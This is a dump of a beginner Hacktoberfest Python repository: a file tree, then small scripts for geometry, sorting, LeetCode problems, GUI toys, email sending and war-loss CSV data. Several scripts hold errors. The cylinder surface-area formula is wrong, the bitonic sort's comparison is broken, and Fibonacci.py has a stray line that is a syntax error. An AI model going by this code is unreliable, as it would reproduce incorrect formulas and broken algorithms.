├── Hacktober2022 ├── 2048.py ├── Area.py ├── Assign_cookies.py ├── Auto_Message_Sender.py ├── Basic-Calculator.py ├── Binary tree to Doubly Linked List.py ├── Binary_Search.java ├── Binary_search.py ├── Bitonic Sort.py ├── Calendar.py ├── Coffee_Machine_Program.py ├── Cycle Sort.py ├── DataAnalysis │ └── datasets │ │ ├── IPL_Data │ │ ├── IPL_Data.csv │ │ ├── T20_Data.csv │ │ └── player_analysis.ipynb │ │ └── Russia-UkrainWar │ │ ├── russia_losses_equipment.csv │ │ ├── russia_losses_personnel.csv │ │ └── war.ipynb ├── Decimal to binary converter.py ├── DiceSimulator.py ├── Egg Catcher Game ├── Email_send.py ├── Fibonacci.py ├── Fibonacci_series.py ├── GNews.py ├── Gideon.py ├── Image Resolution.py ├── Integer to Roman.py ├── Largest Rectangle in Histogram.py ├── Leetcode-question-Palindromic Substrings.py ├── Leetcode_1_Two_Sum.py ├── Leetcode_204_count_Primes.py ├── Machine Learning Projects │ └── Sonar Prediction ML │ │ ├── Media │ │ └── Confusion_Matrix.png │ │ ├── README.md │ │ ├── sonar.ipynb │ │ ├── sonar_data.csv │ │ └── test copy.ipynb ├── Machine Learning Tutorial │ ├── 10) PySpark Linear Regression and Random Forest Regression .ipynb │ ├── Arima Forecast Tutorial.ipynb │ ├── Decision Tree Algorithm.ipynb │ ├── NumPy.ipynb │ ├── Pandas Basics.ipynb │ ├── Prediction using Supervised ML.ipynb │ ├── Readme.md │ ├── Scikit Learn.ipynb │ ├── TensorFlow Practice.ipynb │ └── openCV Tutorial.ipynb ├── MusicPlayer-python app │ ├── Fouzia.mp3 │ ├── Music player_app.py │ ├── fracture.mp3 │ └── musicPlayer.png ├── Pascal_triangle.py ├── Ping_Pong │ ├── ball.py │ ├── main.py │ ├── paddle.py │ └── scoreboard.py ├── Prim's Spamming Tree.py ├── Print-IP-Address.py ├── Program to Swap Two Variables.py ├── Python program to check if a string is palindrome or not ├── Quick_Sort.cpp ├── Rainbow_Benzene.py ├── Remainder.py ├── Remove Punctuations From a String.py ├── Reverse_Singly_Linkedlist.cpp ├── Rock paper scissors game.py ├── Second_minimum.py ├── SelectionSort.py ├── Selection_Sort.cpp ├── Shell sort.py ├── Shuffle Deck.py ├── Snake_Game │ ├── README.md │ ├── food.py │ ├── main.py │ ├── scoreboard.py │ └── snake.py ├── Stopwatch.py ├── ThePerfectGuess.py ├── Threads.py ├── Top_View_Of_Binary_Tree.py ├── Tower of Hanoi ├── Tricky_Questions │ ├── Question_1.py │ ├── Question_10.py │ ├── Question_2.py │ ├── Question_3.py │ ├── Question_4.py │ ├── Question_5.py │ ├── Question_6.py │ ├── Question_7.py │ ├── Question_8.py │ └── Question_9.py ├── Valid parentheses stack approach.py ├── Wikipedia.py ├── Ytdownloader.py ├── add.py ├── armstrong.py ├── arrow_pattern.py ├── assets │ └── gsi.sh ├── beer.py ├── bogoSort.py ├── bubblesort.py ├── calculator.py ├── celcius_tofarenheit.py ├── clock.py ├── colordetect.py ├── combSort.py ├── compound_interest.py ├── copy_file.py ├── countdown_time.py ├── divide.py ├── env.py ├── extract-ikconfig.py ├── factorial.py ├── fakeProfileGenerator.py ├── fibonacci.py ├── fidget_spinner.py ├── file_organiser.py ├── game.py ├── gsi.py ├── guess-the-number.py ├── heap_sort.py ├── image_resizer.py ├── imagesketch.py ├── img_to_pdf.py ├── indianFlag.py ├── km.py ├── largest_element_array.py ├── leap-year.py ├── leapyear.py ├── leetcode-1578.py ├── level_order_traversal.py ├── longest_common_prefix.py ├── longest_common_substring.py ├── los.py ├── marks_management.py ├── maxPerformance.py ├── median_of_2_sorted_array.py ├── mergeTwoSortedArrays.py ├── mergesort.py ├── multiply.py ├── orgate.py ├── palindrome.py ├── password_generator_python.py ├── passwordgenerator.py ├── pbrp.py ├── pe.py ├── prime.py ├── primeornot.py ├── print-all-primes-in-an-interval.py ├── print-negative-no-in-a-list.py ├── qr-generator.py ├── quickSort.py ├── rangoli.py ├── rectangle.py ├── reddit.py ├── remove-occurrences-of-substring,py ├── reverse_a_linked_list.py ├── shape1.py ├── shellSort.py ├── shutdown.py ├── simple-interest.py ├── smallestElement.py ├── snake-water-gun-game.py ├── speak_function.py ├── speed-test.py ├── stack.py ├── stock.py ├── tic_tac_double.py ├── watering-plants.py ├── weather.py └── wordguess.py ├── Hacktober2023 ├── 141. Linked List Cycle-leedcode.py ├── 203. Remove Linked List Elements-leedcode.py ├── 21. Merge Two Sorted Lists-leedcode.py ├── 21. MergeTwoSortedLists-leedcode.py ├── 2130MaximumTwinSum-leedcode.py ├── 234.PalindromeLinkedList-leedcode.py ├── 349. Intersection of Two Arrays-leedcode.py ├── 69. Sqrt(x)-leedcode.py ├── 925. Long Pressed Name-leedcode.py ├── Age_Calculator.py ├── AsteroidCollision.py ├── BMIcalculator.py ├── Binary_Search.java ├── Calculator.py ├── Catching_the_ball_game.py ├── Create a ShellSortingAlgo.py ├── DenoisingAndInterpolation.py ├── Disarium_number.py ├── Distribute_N_candies.py ├── Division_Calculator ├── Drink_water_notification_reminder.py ├── Each_vowel_count_in_given_string.py ├── EratosthenesAlgorithm.py ├── HACK23.md ├── Hangman Game ├── JojoGoesAdventure.py ├── Largest Rectangle in Histogram(problem 84 leetcode).py ├── Leapyear.py ├── Median of Two Sorted Arrays.py ├── NQueen.py ├── Notepad │ ├── notepad.ico │ └── notepad.py ├── Password_Genertor.py ├── Pattern.py ├── Pinball.py ├── Prime_number.py ├── PrintSpoolerUsingQueue.py ├── PyEinstein.py ├── PyEinstein_TK.py ├── Python Script Generator using Chatgpt │ ├── README.md │ └── python-chatgpt.py ├── RestoringIP.py ├── RotateImage.py ├── SnakeGame.py ├── Snake_game.py ├── StringCompression.py ├── Task manager.py ├── The kth Factor of n(problem 1492 leetcode).py ├── WebScrapingWithRequests.py ├── amistrong.py ├── array_rotation.py ├── atm_mini_project.py ├── binary.py ├── binary_search.py ├── calculator2.py ├── checkhashme.py ├── connected_components.py ├── cycle_detection.py ├── ddos.py ├── dice_roll.py ├── guess-the-number.py ├── image_ascii.py ├── jokes.py ├── k_nearest_neighbors.py ├── koko eating bananas (problem875 leetcode).py ├── largestelement.py ├── list_operations.py ├── number_palindrome_checker.py ├── pal.py ├── palindrome.py ├── pdf_merge.py ├── placeholder ├── pong game.py ├── python-binary-search.py ├── radix_sort.py ├── randpass.py ├── re.py ├── recursion-example.py ├── regex.py ├── rock_paper_scissors.py ├── rolldice.py ├── roman_to_dec.py ├── scanfilesinadirectory.py ├── screenshot_using_python.py ├── selection-sort-example.py ├── snake_water_gun.py ├── steg-plaintext.py ├── step_word_chain.py ├── stopwatch.py ├── stopwatch2.py ├── string_palidrome.py ├── sum_array_elements_using_recursion.py ├── surfacearea_volume.py ├── tasks.py ├── temperature_converter.py ├── to-do-list.py ├── to-do.py ├── videomaker.py ├── welcome.py └── wordcounter.py ├── Hacktober2024 ├── PLACEHOLDER ├── guessing.py ├── hangman.py ├── new_game.py └── snake_gui_game.py ├── LICENSE └── README.md /Hacktober2022/Area.py: -------------------------------------------------------------------------------- 1 | import math 2 | pi = math.pi 3 | def circle(radius): 4 | return pi * radius**2 5 | 6 | def cube(side): 7 | return side**3 8 | 9 | def cylinder(radius, height): 10 | return 2*pi*radius + 2*pi*height 11 | 12 | def sphere(radius): 13 | return 4*pi*(radius**2) 14 | 15 | value=int(input()) 16 | print("Area of circle:",circle(value)) 17 | print("Area of cube:",cube(value)) 18 | print("Surface area of cylinder:",cylinder(value)) 19 | print("Surface area of sphere:",sphere(value)) 20 | -------------------------------------------------------------------------------- /Hacktober2022/Assign_cookies.py: -------------------------------------------------------------------------------- 1 | class Solution: 2 | def findContentChildren(self, g: List[int], s: List[int]) -> int: 3 | g = sorted(g) 4 | s = sorted(s) 5 | c = 0 6 | while len(g) != 0 and len(s) != 0 : 7 | if g[0] <= s[0] : 8 | c = c + 1 9 | del g[0] 10 | del s[0] 11 | else : 12 | del s[0] 13 | return c 14 | -------------------------------------------------------------------------------- /Hacktober2022/Basic-Calculator.py: -------------------------------------------------------------------------------- 1 | n = 0 2 | while n != 5 : 3 | n = int(input("Enter the number for operation\n1. Addition\n2. Subtraction\n3. Multiplication\n4. Divison\n5. Exit\n")) 4 | if n != 5 : 5 | num1 = int(input("Enter 1st number\n")) 6 | num2 = int(input("Enter 2nd number\n")) 7 | if n == 1 : 8 | print(num1, "+", num2, "=", num1 + num2) 9 | elif n == 2 : 10 | print(num1, "-", num2, "=", num1 - num2) 11 | elif n == 3 : 12 | print(num1, "x", num2, "=", num1 * num2) 13 | elif n == 4 : 14 | print(num1, "/", num2, "=", num1 / num2) 15 | -------------------------------------------------------------------------------- /Hacktober2022/Binary tree to Doubly Linked List.py: -------------------------------------------------------------------------------- 1 | # A simple inorder traversal based program to convert a 2 | # Binary Tree to DLL 3 | 4 | # A Binary Tree node 5 | class Node: 6 | 7 | # Constructor to create a new tree node 8 | def __init__(self, data): 9 | self.data = data 10 | self.left = None 11 | self.right = None 12 | 13 | # Standard Inorder traversal of tree 14 | def inorder(root): 15 | 16 | if root is not None: 17 | inorder(root.left) 18 | print ("\t%d" %(root.data),end=" ") 19 | inorder(root.right) 20 | 21 | # Changes left pointers to work as previous pointers 22 | # in converted DLL 23 | # The function simply does inorder traversal of 24 | # Binary Tree and updates 25 | # left pointer using previously visited node 26 | def fixPrevPtr(root): 27 | if root is not None: 28 | fixPrevPtr(root.left) 29 | root.left = fixPrevPtr.pre 30 | fixPrevPtr.pre = root 31 | fixPrevPtr(root.right) 32 | 33 | # Changes right pointers to work as next pointers in 34 | # converted DLL 35 | def fixNextPtr(root): 36 | 37 | prev = None 38 | # Find the right most node in BT or last node in DLL 39 | while(root and root.right != None): 40 | root = root.right 41 | 42 | # Start from the rightmost node, traverse back using 43 | # left pointers 44 | # While traversing, change right pointer of nodes 45 | while(root and root.left != None): 46 | prev = root 47 | root = root.left 48 | root.right = prev 49 | 50 | # The leftmost node is head of linked list, return it 51 | return root 52 | 53 | # The main function that converts BST to DLL and returns 54 | # head of DLL 55 | def BTToDLL(root): 56 | 57 | # Set the previous pointer 58 | fixPrevPtr(root) 59 | 60 | # Set the next pointer and return head of DLL 61 | return fixNextPtr(root) 62 | 63 | # Traversses the DLL from left to right 64 | def printList(root): 65 | while(root != None): 66 | print ("\t%d" %(root.data),end=" ") 67 | root = root.right 68 | 69 | # Driver program to test above function 70 | root = Node(10) 71 | root.left = Node(12) 72 | root.right = Node(15) 73 | root.left.left = Node(25) 74 | root.left.right = Node(30) 75 | root.right.left = Node(36) 76 | 77 | print ("Inorder Tree Traversal") 78 | inorder(root) 79 | 80 | # Static variable pre for function fixPrevPtr 81 | fixPrevPtr.pre = None 82 | head = BTToDLL(root) 83 | 84 | print ("\nDLL Traversal") 85 | printList(head) 86 | 87 | # This code is contributed by Nikhil Kumar Singh(nickzuck_007) 88 | -------------------------------------------------------------------------------- /Hacktober2022/Binary_Search.java: -------------------------------------------------------------------------------- 1 | import java.util.*; 2 | public class Main 3 | { 4 | int binary_search(int a[], int n, int k) 5 | { 6 | int mid=0,l=0,h=n-1,ans=0; 7 | while(l<=h) 8 | { 9 | mid=(h+l)/2; 10 | if(a[mid]==k) 11 | { 12 | return mid+1; 13 | } 14 | else if(k>a[mid]) 15 | l=mid+1; 16 | else 17 | h=mid-1; 18 | } 19 | return -1; 20 | } 21 | public static void main(String[] args) 22 | { 23 | int n; 24 | Scanner sc=new Scanner(System.in); 25 | n=sc.nextInt(); 26 | int a[]= new int [n]; 27 | for(int i=0;i= low: 8 | 9 | #finding the middle element 10 | mid = low + (high-low)// 2 11 | 12 | # If element is present at the middle itself 13 | if arr[mid] == x: 14 | return mid 15 | 16 | # If element is smaller than mid, then it can only 17 | # be present in left subarray 18 | elif arr[mid] > x: 19 | return binary_search(arr, low, mid - 1, x) 20 | 21 | # Else the element can only be present in right subarray 22 | else: 23 | return binary_search(arr, mid + 1, high, x) 24 | 25 | else: 26 | # Element is not present in the array 27 | return -1 28 | 29 | # takes array from user 30 | arr = [] 31 | 32 | n = int(input("Enter number of elements: ")) 33 | 34 | for i in range(n): 35 | inp = int(input("Enter elements: ")) 36 | arr.append(inp) 37 | 38 | x = int(input("Enter element to be searched: ")) 39 | 40 | # Function call 41 | result = binary_search(arr, 0, n - 1, x) 42 | 43 | if result != -1: 44 | print("Element is present at index", str(result)) 45 | else: 46 | print("Element is not present in array") 47 | -------------------------------------------------------------------------------- /Hacktober2022/Bitonic Sort.py: -------------------------------------------------------------------------------- 1 | # Python program for Bitonic Sort. Note that this program 2 | # works only when size of input is a power of 2. 3 | 4 | # The parameter dir indicates the sorting direction, ASCENDING 5 | # or DESCENDING; if (a[i] > a[j]) agrees with the direction, 6 | # then a[i] and a[j] are interchanged.*/ 7 | 8 | 9 | def compAndSwap(a, i, j, dire): 10 | if (dire == 1 and a[i] > a[j]) or (dire == 0 and a[i] > a[j]): 11 | a[i], a[j] = a[j], a[i] 12 | 13 | # It recursively sorts a bitonic sequence in ascending order, 14 | # if dir = 1, and in descending order otherwise (means dir=0). 15 | # The sequence to be sorted starts at index position low, 16 | # the parameter cnt is the number of elements to be sorted. 17 | 18 | 19 | def bitonicMerge(a, low, cnt, dire): 20 | if cnt > 1: 21 | k = cnt//2 22 | for i in range(low, low+k): 23 | compAndSwap(a, i, i+k, dire) 24 | bitonicMerge(a, low, k, dire) 25 | bitonicMerge(a, low+k, k, dire) 26 | 27 | # This function first produces a bitonic sequence by recursively 28 | # sorting its two halves in opposite sorting orders, and then 29 | # calls bitonicMerge to make them in the same order 30 | 31 | 32 | def bitonicSort(a, low, cnt, dire): 33 | if cnt > 1: 34 | k = cnt//2 35 | bitonicSort(a, low, k, 1) 36 | bitonicSort(a, low+k, k, 0) 37 | bitonicMerge(a, low, cnt, dire) 38 | 39 | # Caller of bitonicSort for sorting the entire array of length N 40 | # in ASCENDING order 41 | 42 | 43 | def sort(a, N, up): 44 | bitonicSort(a, 0, N, up) 45 | 46 | 47 | # Driver code to test above 48 | a = [3, 7, 4, 8, 6, 2, 1, 5] 49 | n = len(a) 50 | up = 1 51 | 52 | sort(a, n, up) 53 | print("Sorted array is") 54 | for i in range(n): 55 | print("%d" % a[i], end=" ") 56 | -------------------------------------------------------------------------------- /Hacktober2022/Calendar.py: -------------------------------------------------------------------------------- 1 | from tkinter import * 2 | import tkinter as tk 3 | from PIL import ImageTk, Image 4 | import calendar 5 | root = tk.Tk() 6 | root.geometry('400x300') 7 | root.title('Calender-Techarge') 8 | root.iconbitmap("calender-ico.ico") 9 | 10 | 11 | def show(): 12 | 13 | m = int(month.get()) 14 | y = int(year.get()) 15 | output = calendar.month(y,m) 16 | 17 | cal.insert('end',output) 18 | 19 | def clear(): 20 | cal.delete(1.0,'end') 21 | 22 | def exit(): 23 | root.destroy() 24 | 25 | 26 | img = ImageTk.PhotoImage(Image.open('calendar.png')) 27 | label = Label(image=img) 28 | label.place(x=170,y=3) 29 | 30 | 31 | 32 | m_label = Label(root,text="Month",font=('verdana','10','bold')) 33 | m_label.place(x=70,y=80) 34 | 35 | month = Spinbox(root, from_= 1, to = 12,width="5") 36 | month.place(x=140,y=80) 37 | 38 | y_label = Label(root,text="Year",font=('verdana','10','bold')) 39 | y_label.place(x=210,y=80) 40 | 41 | year = Spinbox(root, from_= 2020, to = 3000,width="8") 42 | year.place(x=260,y=80) 43 | 44 | 45 | cal = Text(root,width=33,height=8,relief=RIDGE,borderwidth=2) 46 | cal.place(x=70,y=110) 47 | 48 | show = Button(root,text="Show",font=('verdana',10,'bold'),relief=RIDGE,borderwidth=2,command=show) 49 | show.place(x=140,y=250) 50 | 51 | clear = Button(root,text="Clear",font=('verdana',10,'bold'),relief=RIDGE,borderwidth=2,command=clear) 52 | clear.place(x=200,y=250) 53 | 54 | exit = Button(root,text="Exit",font=('verdana',10,'bold'),relief=RIDGE,borderwidth=2,command=exit) 55 | exit.place(x=260,y=250) 56 | root.mainloop() 57 | -------------------------------------------------------------------------------- /Hacktober2022/Cycle Sort.py: -------------------------------------------------------------------------------- 1 | def cycleSort(array): 2 | writes = 0 3 | 4 | for cycleStart in range(0, len(array) - 1): 5 | item = array[cycleStart] 6 | 7 | pos = cycleStart 8 | for i in range(cycleStart + 1, len(array)): 9 | if array[i] < item: 10 | pos += 1 11 | 12 | if pos == cycleStart: 13 | continue 14 | 15 | while item == array[pos]: 16 | pos += 1 17 | array[pos], item = item, array[pos] 18 | writes += 1 19 | 20 | while pos != cycleStart: 21 | 22 | pos = cycleStart 23 | for i in range(cycleStart + 1, len(array)): 24 | if array[i] < item: 25 | pos += 1 26 | 27 | while item == array[pos]: 28 | pos += 1 29 | array[pos], item = item, array[pos] 30 | writes += 1 31 | 32 | return writes 33 | arr = [1, 8, 3, 9, 10, 10, 2, 4 ] 34 | n = len(arr) 35 | cycleSort(arr) 36 | 37 | print("After sort : ") 38 | for i in range(0, n) : 39 | print(arr[i], end = \' \') 40 | -------------------------------------------------------------------------------- /Hacktober2022/DataAnalysis/datasets/Russia-UkrainWar/russia_losses_equipment.csv: -------------------------------------------------------------------------------- 1 | date,day,aircraft,helicopter,tank,APC,field artillery,BUK,MRL,military auto,fuel tank,drone,naval ship,anti-aircraft warfare 2 | 2022-02-26,3,27,26,146,706,49,1,4,30,60,2,2,0 3 | 2022-02-28,5,29,29,150,816,74,1,21,291,60,3,2,5 4 | 2022-03-01,6,29,29,198,846,77,1,24,305,60,3,2,7 5 | 2022-03-02,7,30,31,211,862,85,1,40,355,60,3,2,9 6 | 2022-03-03,8,30,31,217,900,90,1,42,374,60,3,2,11 7 | 2022-03-04,9,33,37,251,939,105,1,50,404,60,3,2,18 8 | 2022-03-05,10,39,40,269,945,105,1,50,409,60,3,2,19 9 | 2022-03-06,11,44,48,285,985,109,1,50,447,60,4,2,21 10 | 2022-03-07,12,46,68,290,999,117,1,50,454,60,7,3,23 11 | 2022-03-08,13,48,80,303,1036,120,1,56,474,60,7,3,27 12 | -------------------------------------------------------------------------------- /Hacktober2022/DataAnalysis/datasets/Russia-UkrainWar/russia_losses_personnel.csv: -------------------------------------------------------------------------------- 1 | date,day,personnel,POW,personnel* 2 | 2022-02-26,3,4300,, 3 | 2022-02-28,5,5300,, 4 | 2022-03-01,6,5710,200.0, 5 | 2022-03-02,7,5840,, 6 | 2022-03-03,8,9000,, 7 | 2022-03-04,9,9166,, 8 | 2022-03-05,10,10000,, 9 | 2022-03-06,11,11000,, 10 | 2022-03-07,12,11000,259.0,more than 11 | 2022-03-08,13,12000,284.0,almost 12 | -------------------------------------------------------------------------------- /Hacktober2022/Decimal to binary converter.py: -------------------------------------------------------------------------------- 1 | number=int(input()) 2 | temp=number 3 | binary="" 4 | while number>0: 5 | rem=number%2 6 | binary+=str(rem) 7 | number=number//2 8 | print("The binary equivalent of "+str(temp)+" is "+binary[::-1]+" .") 9 | -------------------------------------------------------------------------------- /Hacktober2022/DiceSimulator.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | user = input("Do you want to roll the dice ") 4 | 5 | while user == "y": 6 | 7 | k = random.randint(1,6) 8 | 9 | if k == 1: 10 | print(" --------- ") 11 | print("| |") 12 | print("| 0 |") 13 | print("| |") 14 | print(" --------- ") 15 | 16 | if k == 2: 17 | print(" --------- ") 18 | print("| 0 |") 19 | print("| |") 20 | print("| 0 |") 21 | print(" --------- ") 22 | 23 | if k == 3: 24 | print(" --------- ") 25 | print("| 0 |") 26 | print("| 0 |") 27 | print("| 0 |") 28 | print(" --------- ") 29 | 30 | if k == 4: 31 | print(" --------- ") 32 | print("| 0 0 |") 33 | print("| |") 34 | print("| 0 0 |") 35 | print(" --------- ") 36 | 37 | if k == 5: 38 | print(" --------- ") 39 | print("| 0 0 |") 40 | print("| 0 |") 41 | print("| 0 0 |") 42 | print(" --------- ") 43 | 44 | if k == 6: 45 | print(" ---------- ") 46 | print("| 0 0 |") 47 | print("| 0 0 |") 48 | print("| 0 0 |") 49 | print(" ---------- ") 50 | 51 | user = input("Do you want to roll again the dice ") 52 | -------------------------------------------------------------------------------- /Hacktober2022/Email_send.py: -------------------------------------------------------------------------------- 1 | import smtplib 2 | 3 | sender_add = "sender69@gmail.com" 4 | receiver_add = "reciver69420@gmail.com" 5 | password = "password" 6 | 7 | 8 | smtp_server = smtplib.SMTP("smtp.gmail.com", 587) 9 | smtp_server.ehlo() 10 | 11 | smtp_server.starttls() 12 | smtp_server.ehlo() 13 | 14 | smtp_server.login(sender_add, password) 15 | 16 | msg_to_be_sent = """ 17 | Never gonna ive up, 18 | Never gonna let you down, 19 | Never gonna run around and desert you 20 | """ 21 | 22 | 23 | smtp_server.sendmail(sender_add, receiver_add, msg_to_be_sent) 24 | print("Successfully the mail is sent") 25 | 26 | smtp_server.quit() 27 | -------------------------------------------------------------------------------- /Hacktober2022/Fibonacci.py: -------------------------------------------------------------------------------- 1 | By: @agam778 2 | input_number = int(input("Enter the number of fibonacci numbers to be generated: ")) 3 | first_number = 0 4 | second_number = 1 5 | print() 6 | print("Fibonacci series of", input_number, "numbers is:") 7 | print(first_number) 8 | print(second_number) 9 | for i in range(2, input_number): 10 | next_number = first_number + second_number 11 | print(next_number) 12 | first_number = second_number 13 | second_number = next_number 14 | nterms = int(input("How many terms? ")) 15 | 16 | # first two terms 17 | n1, n2 = 0, 1 18 | count = 0 19 | 20 | # check if the number of terms is valid 21 | if nterms <= 0: 22 | print("Please enter a positive integer") 23 | # if there is only one term, return n1 24 | elif nterms == 1: 25 | print("Fibonacci sequence upto",nterms,":") 26 | print(n1) 27 | # generate fibonacci sequence 28 | else: 29 | print("Fibonacci sequence:") 30 | while count < nterms: 31 | print(n1) 32 | nth = n1 + n2 33 | # update values 34 | n1 = n2 35 | n2 = nth 36 | count += 1 37 | -------------------------------------------------------------------------------- /Hacktober2022/Fibonacci_series.py: -------------------------------------------------------------------------------- 1 | # A python program for finding fibonacci series easily. 2 | 3 | def fibonacci(n): 4 | a,b=0,1 5 | print('Fibonacci series:',a,b,end=' ') 6 | for i in range(1,n-1): 7 | s=a+b 8 | print(s,end=' ') 9 | a=b 10 | b=s 11 | n=int(input('Enter limit: ')) 12 | fibonacci(n) -------------------------------------------------------------------------------- /Hacktober2022/GNews.py: -------------------------------------------------------------------------------- 1 | import gnewsclient 2 | from gnewsclient import gnewsclient 3 | def getNews(): 4 | client = gnewsclient.NewsClient(language='tamil', 5 | location='india', 6 | topic='Business', 7 | use_opengraph = True, 8 | max_results=10) 9 | 10 | return (client.get_news()) -------------------------------------------------------------------------------- /Hacktober2022/Image Resolution.py: -------------------------------------------------------------------------------- 1 | def jpeg_res(filename): 2 | """"This function prints the resolution of the jpeg image file passed into it""" 3 | 4 | with open(filename,'rb') as img_file: 5 | 6 | 7 | img_file.seek(163) 8 | 9 | 10 | a = img_file.read(2) 11 | 12 | 13 | height = (a[0] << 8) + a[1] 14 | 15 | 16 | a = img_file.read(2) 17 | 18 | 19 | width = (a[0] << 8) + a[1] 20 | 21 | print("The resolution of the image is",width,"x",height) 22 | 23 | jpeg_res("img1.jpg") 24 | -------------------------------------------------------------------------------- /Hacktober2022/Integer to Roman.py: -------------------------------------------------------------------------------- 1 | # Python3 program to convert 2 | # integer value to roman values 3 | 4 | # Function to convert integer to Roman values 5 | def printRoman(number): 6 | num = [1, 4, 5, 9, 10, 40, 50, 90, 7 | 100, 400, 500, 900, 1000] 8 | sym = ["I", "IV", "V", "IX", "X", "XL", 9 | "L", "XC", "C", "CD", "D", "CM", "M"] 10 | i = 12 11 | 12 | while number: 13 | div = number // num[i] 14 | number %= num[i] 15 | 16 | while div: 17 | print(sym[i], end = "") 18 | div -= 1 19 | i -= 1 20 | 21 | # Driver code 22 | if __name__ == "__main__": 23 | number = 3549 24 | print("Roman value is:", end = " ") 25 | printRoman(number) 26 | -------------------------------------------------------------------------------- /Hacktober2022/Largest Rectangle in Histogram.py: -------------------------------------------------------------------------------- 1 | class Solution: 2 | def largestRectangleArea(self, heights: List[int]) -> int: 3 | r=next_smallest_element_from_right(heights) 4 | l=next_smallest_element_from_left(heights) 5 | 6 | #now we'll find maximum area 7 | m=0 8 | for i in range(len(heights)): 9 | m=max((r[i]-l[i]-1)*heights[i],m) #(r[i]-l[i]-1)*heights[i] = (distance covered * width of those bars) 10 | return m 11 | 12 | 13 | #we are doing here as function named next_smallest_element_from_right 14 | def next_smallest_element_from_right(heights): 15 | st=[] 16 | ans=[0]*len(heights) 17 | for i in range(len(heights)-1,-1,-1): 18 | while len(st)!=0 and st[-1][0]>=heights[i]: 19 | st.pop() 20 | if len(st)==0: 21 | ans[i]=len(heights) 22 | else: 23 | ans[i]=st[-1][-1] 24 | st.append([heights[i],i]) 25 | return ans 26 | 27 | 28 | #we are doing here as function named next_smallest_element_from_left 29 | def next_smallest_element_from_left(heights): 30 | st=[] 31 | ans=[0]*len(heights) 32 | for i in range(len(heights)): 33 | while len(st)!=0 and st[-1][0]>=heights[i]: 34 | st.pop() 35 | if len(st)==0: 36 | ans[i]=-1 37 | else: 38 | ans[i]=st[-1][-1] 39 | st.append([heights[i],i]) 40 | return ans 41 | -------------------------------------------------------------------------------- /Hacktober2022/Leetcode-question-Palindromic Substrings.py: -------------------------------------------------------------------------------- 1 | class Solution: 2 | def countSubstrings(self, s: str) -> int: 3 | n=len(s) 4 | c=0 5 | for i in range(n): 6 | for j in range(i+1,n+1): 7 | st="" 8 | if s[i:j]==st.join(reversed(s[i:j])): 9 | c+=1 10 | return c 11 | 12 | -------------------------------------------------------------------------------- /Hacktober2022/Leetcode_1_Two_Sum.py: -------------------------------------------------------------------------------- 1 | class Solution(object): 2 | def twoSum(self, nums, target): 3 | """ 4 | :type nums: List[int] 5 | :type target: int 6 | :rtype: List[int] 7 | """ 8 | d = {} 9 | 10 | for i in range(len(nums)): 11 | complement = target - nums[i] 12 | 13 | if complement in d: 14 | return [d[complement], i] 15 | 16 | d[nums[i]] = i -------------------------------------------------------------------------------- /Hacktober2022/Leetcode_204_count_Primes.py: -------------------------------------------------------------------------------- 1 | class Solution: 2 | def countPrimes(self, n: int) -> int: 3 | prime = [True]*n #to make all list element values true 4 | if n<2: 5 | return 0 6 | else: 7 | prime[1] = prime[0] = False 8 | for i in range(2,n): 9 | if prime[i] is not False: 10 | prime[i] = True 11 | for j in range(i*i,n,i): 12 | prime[j] = False 13 | return sum(prime)#it will return sum of all True(1) values only -------------------------------------------------------------------------------- /Hacktober2022/Machine Learning Projects/Sonar Prediction ML/Media/Confusion_Matrix.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techyminati/python_codes/59870152b4409b7a244b42854e39955ff629bc79/Hacktober2022/Machine Learning Projects/Sonar Prediction ML/Media/Confusion_Matrix.png -------------------------------------------------------------------------------- /Hacktober2022/Machine Learning Projects/Sonar Prediction ML/README.md: -------------------------------------------------------------------------------- 1 | # Sonar-Prediction-ML 2 | 3 | Kaggle Notebook - [[Kaggle]](https://www.kaggle.com/code/souvikdatta123/sonar-mines-vs-rocks) 4 | 5 | 6 | 7 | ``` 8 | Accuracy: 0.86 9 | Precision: 0.81 10 | Recall: 0.95 11 | F1 Score: 0.875 12 | ``` 13 | -------------------------------------------------------------------------------- /Hacktober2022/Machine Learning Tutorial/Readme.md: -------------------------------------------------------------------------------- 1 | This folder conatin all the files wgich is useful for learning ML. 2 | It contains multiple libraries for Machine Learning. 3 | All the Scripts are written in Python Language. 4 | -------------------------------------------------------------------------------- /Hacktober2022/MusicPlayer-python app/Fouzia.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techyminati/python_codes/59870152b4409b7a244b42854e39955ff629bc79/Hacktober2022/MusicPlayer-python app/Fouzia.mp3 -------------------------------------------------------------------------------- /Hacktober2022/MusicPlayer-python app/Music player_app.py: -------------------------------------------------------------------------------- 1 | from tkinter import * 2 | from tkinter import filedialog 3 | from pygame import mixer 4 | 5 | class MusicPlayer: 6 | def __init__(self, window ): 7 | window.geometry('320x100'); window.title('Iris Player'); window.resizable(0,0) 8 | Load = Button(window, text = 'Load', width = 10, font = ('Times', 10), command = self.load) 9 | Play = Button(window, text = 'Play', width = 10,font = ('Times', 10), command = self.play) 10 | Pause = Button(window,text = 'Pause', width = 10, font = ('Times', 10), command = self.pause) 11 | Stop = Button(window ,text = 'Stop', width = 10, font = ('Times', 10), command = self.stop) 12 | Load.place(x=0,y=20);Play.place(x=110,y=20);Pause.place(x=220,y=20);Stop.place(x=110,y=60) 13 | self.music_file = False 14 | self.playing_state = False 15 | def load(self): 16 | self.music_file = filedialog.askopenfilename() 17 | def play(self): 18 | if self.music_file: 19 | mixer.init() 20 | mixer.music.load(self.music_file) 21 | mixer.music.play() 22 | def pause(self): 23 | if not self.playing_state: 24 | mixer.music.pause() 25 | self.playing_state=True 26 | else: 27 | mixer.music.unpause() 28 | self.playing_state = False 29 | def stop(self): 30 | mixer.music.stop() 31 | root = Tk() 32 | app= MusicPlayer(root) 33 | root.mainloop() 34 | -------------------------------------------------------------------------------- /Hacktober2022/MusicPlayer-python app/fracture.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techyminati/python_codes/59870152b4409b7a244b42854e39955ff629bc79/Hacktober2022/MusicPlayer-python app/fracture.mp3 -------------------------------------------------------------------------------- /Hacktober2022/MusicPlayer-python app/musicPlayer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techyminati/python_codes/59870152b4409b7a244b42854e39955ff629bc79/Hacktober2022/MusicPlayer-python app/musicPlayer.png -------------------------------------------------------------------------------- /Hacktober2022/Pascal_triangle.py: -------------------------------------------------------------------------------- 1 | class Solution: 2 | def generate(self, numRows: int) -> List[List[int]]: 3 | a = [] 4 | for x in range(numRows): 5 | a.append([1]) 6 